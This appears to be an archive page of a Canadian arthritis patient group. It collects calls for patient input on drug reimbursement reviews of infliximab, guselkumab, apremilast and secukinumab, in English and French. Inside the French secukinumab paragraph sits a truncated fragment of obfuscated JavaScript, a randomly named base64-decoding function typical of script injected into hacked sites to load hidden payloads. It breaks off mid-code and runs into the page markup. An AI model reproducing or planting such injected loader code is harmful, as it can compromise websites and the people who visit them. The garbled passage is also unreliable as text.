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Do you have rheumatoid arthritis, ankylosing spondylitis, psoriatic arthritis or plaque psoriasis?

Stickman with megaphone calling for patient inputCall for patient input on biosimilar infliximab (Merck) for rheumatoid arthritis, ankylosing spondylitis, psoriatic arthritis and plaque psoriasis

Do you have rheumatoid arthritis, ankylosing spondylitis, psoriatic arthritis or plaque psoriasis? We need your valuable input

Health Canada defines biosimilars as biologic medicines that are similar to, and would enter the market after, an approved originator biologic (such as Remicade®).

The Common Drug Review (CDR) is currently welcoming patients and their caregivers to provide input to patient organizations on the manufacturer’s submission for biosimilar infliximab for the treatment of rheumatoid arthritis, ankylosing spondylitis, psoriatic arthritis and plaque psoriasis. The originator biologic, or reference product, is infliximab (Remicade®).

The CDR is part of the Canadian Agency for Drugs and Technologies in Health (CADTH). The CDR conducts objective, rigorous reviews of the clinical and cost effectiveness of drugs, and provides formulary listing recommendations to the publicly funded drug plans in Canada (except Quebec).

To help them make their recommendations, the CDR accepts input from patient organizations and groups, like Arthritis Consumer Experts (ACE). Because patient input is vitally important to government decision-making about medications, we would like to gather your views and share them with the CDR.

These are the questions they are asking: Continue reading

Call for patient input on guselkumab for moderate to severe plaque psoriasis

Stickman with megaphone calling for patient inputDo you have moderate to severe plaque psoriasis or care for someone who does? We need your valuable input.

The Common Drug Review (CDR) is currently welcoming patients and their caregivers to provide input to patient organizations on the manufacturer’s submission for guselkumab for the treatment of moderate to severe plaque psoriasis.

Guselkumab belongs to the biologic response modifier class of inflammatory arthritis medications. It works by blocking the interleukin (IL)-23 molecule, a cytokine that plays a key role in plaque psoriasis.

The CDR is part of the Canadian Agency for Drugs and Technologies in Health (CADTH). The CDR conducts objective, rigorous reviews of the clinical and cost effectiveness of drugs, and provides formulary listing recommendations to the publicly funded drug plans in Canada (except Quebec).

To help them make their recommendations, the CDR accepts input from patient organizations and groups, like Arthritis Consumer Experts (ACE). Because patient input is vitally important to government decision-making about public reimbursement of medications, we would like to gather your views and share them with the CDR.

These are the questions they are asking: Continue reading

Let BC PharmaCare hear “Your Voice” on apremilast for plaque psoriasis

Cartoon man with arrowLet BC PharmaCare hear “Your Voice” on apremilast for plaque psoriasis 

BC PharmaCare is looking for your input on apremilast for the treatment of moderate to severe plaque psoriasis 

Taken orally, apremilast (Otezla®) is now being considered for coverage under the British Columbia Ministry of Health’s PharmaCare program. By filling out a questionnaire on a website called Your Voice, you can provide feedback about apremilast for the treatment of moderate to severe plaque psoriasis.

You can give input if you are a B.C. resident and have plaque psoriasis (with or without psoriatic arthritis), a caregiver to someone with plaque psoriasis, or if your group represents people who live with plaque psorisais.  Continue reading

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Megaphone GraphicSouffrez-vous de psoriasis en plaques de modéré à sévère ou prodiguez-vous des soins à quelqu’un qui en souffre ? Vos commentaires seraient précieux.

Le Programme commun d’évaluation des médicaments (PCEM) invite actuellement les patients et leurs fournisseurs de soins à faire parvenir aux organismes représentant les patients leurs suggestions et commentaires sur la présentation par le fabricant du secukinumab dans le traitement du psoriasis en plaques, de modéré à sévère. Son utilisation n’ayant pas encore été approuvée par Santé Canada, le médicament ne porte pas de nom de marque pour le moment. Toutefois, afin d’accélérer le processus d’examen, le PCEM demande la rétroaction d’organisations de patients avant même l’obtention de l’approbation du médicament par Santé Canada. Administré par injection, le secukinumab est un anticorps monoclonal entièrement humain qui cible l’interleukine 17-a (il-17a), une protéine qui joue un rôle majeur dans le développement des maladies inflammatoires. Dans deux phases III des essais cliniques, le secukinumab a démontré son efficacité dans le traitement du psoriasis en plaques, tout en étant bien toléré. function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o/#more-11138" class="more-link">Continue reading

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Call for patient organization input on secukinumab for moderate to severe plaque psoriasis

Megaphone GraphicDo you have moderate to severe plaque psoriasis or care for someone who does? If so, we need your valuable input.

The Common Drug Review (CDR) is now welcoming patients and their caregivers to provide input to patient organizations on the manufacturer’s submission for secukinumab (the medication’s generic name) for the treatment of moderate to severe plaque psoriasis. This medication has not yet been approved for use by Health Canada and therefore does not have a brand name. However, the Common Drug Review, in an effort to speed up the review process, is calling for patient input prior to Health Canada’s approval. Secukinumab is a fully human monoclonal antibody that targets IL-17A, a protein central to the development of inflammatory diseases. It is given by an injection. In two phase III clinical trials, it has been shown to be effective and well tolerated for treating plaque psoriasis. Continue reading

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Megaphone GraphicDemande de rétroaction d’organisations de patients sur l’utilisation de l’apremilast (Otezla®) dans le traitement du psoriasis en plaques de modéré à sévère

Souffrez-vous de psoriasis en plaques de modéré à sévère ou prodiguez-vous des soins à quelqu’un qui en souffre ? Vos commentaires seraient précieux.

Le Programme commun d’évaluation des médicaments (PCEM) invite actuellement les patients et leurs fournisseurs de soins à faire parvenir aux organismes représentant les patients leurs suggestions et commentaires sur la présentation par le fabricant de l’apremilast (Otezla®) dans le traitement du psoriasis en plaques, de modéré à sévère. L’apremilast est un composé à petite molécule administrable par voie orale, à raison d’un comprimé deux fois par jour. Dans les phases II et III des essais cliniques, l’apremilast a démontré son efficacité dans le traitement du psoriasis en plaques, tout en étant bien toléré. Le médicament agit en bloquant l’action de la phosphodiestérase de type 4, un enzyme que l’on retrouve dans les cellules immunitaires. 
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